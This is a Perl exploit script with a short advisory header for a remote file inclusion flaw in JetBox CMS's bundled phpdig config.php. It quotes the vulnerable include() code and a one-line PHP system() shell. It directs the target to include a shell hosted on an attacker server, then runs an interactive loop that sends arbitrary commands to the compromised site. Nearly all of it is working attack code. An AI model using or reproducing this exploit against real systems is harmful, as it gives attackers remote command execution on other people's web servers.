#!/usr/bin/perl

############

# JetBox CMS Remote File Include
# Exploit & Advisory:  beford <xbefordx gmail com>

#
# uso:#   perl own.pl <host> <cmd-shell-url> <cmd-var>

#     perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;


$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while()

{

  print "[shell] \$";

  while(<STDIN>)      {

    $cmd=$_;

    chomp($cmd);
    if (!$cmd) {
      last;
    }

    $xpl = LWP::UserAgent->new() or die;

    $req = HTTP::Request->new(GET
=>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

    $res = $xpl->request($req);

    $return = $res->content;

    $return =~ tr/[\n]/[ê]/;

    
    if ($return =~/Error: HTTP request failed!/ || $return =~/: No se
puede ejecutar un comando en blanco <b>/) {
      print "\nNo se puede conectar al host de la cmd o el comando es invalido\n";
      exit;
    } elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
      print "\nComando Invalido, o no hubo respuesta\n\n";
    }
    if ($return =~ /(.*)/) {

      $finreturn = $1;

      $finreturn=~ tr/[ê]/[\n]/;

      print "\r\n$finreturn\n\r";

      last;

    } else {
      print "[shell] \$";
    }

  }

} last;


sub head()  {

   print "\n============================================================================\r\n";

   print " JetBox CMS Remote File Include\r\n";

   print "============================================================================\r\n";

 }


sub usage() {

   head();

   print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";

   print " <host> - Full Path : http://host/claroline/ [remember the
trailing slash noob]\r\n";

   print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";

   print " <var> - var name used in phpshell : cmd  \r\n";

   exit();

 }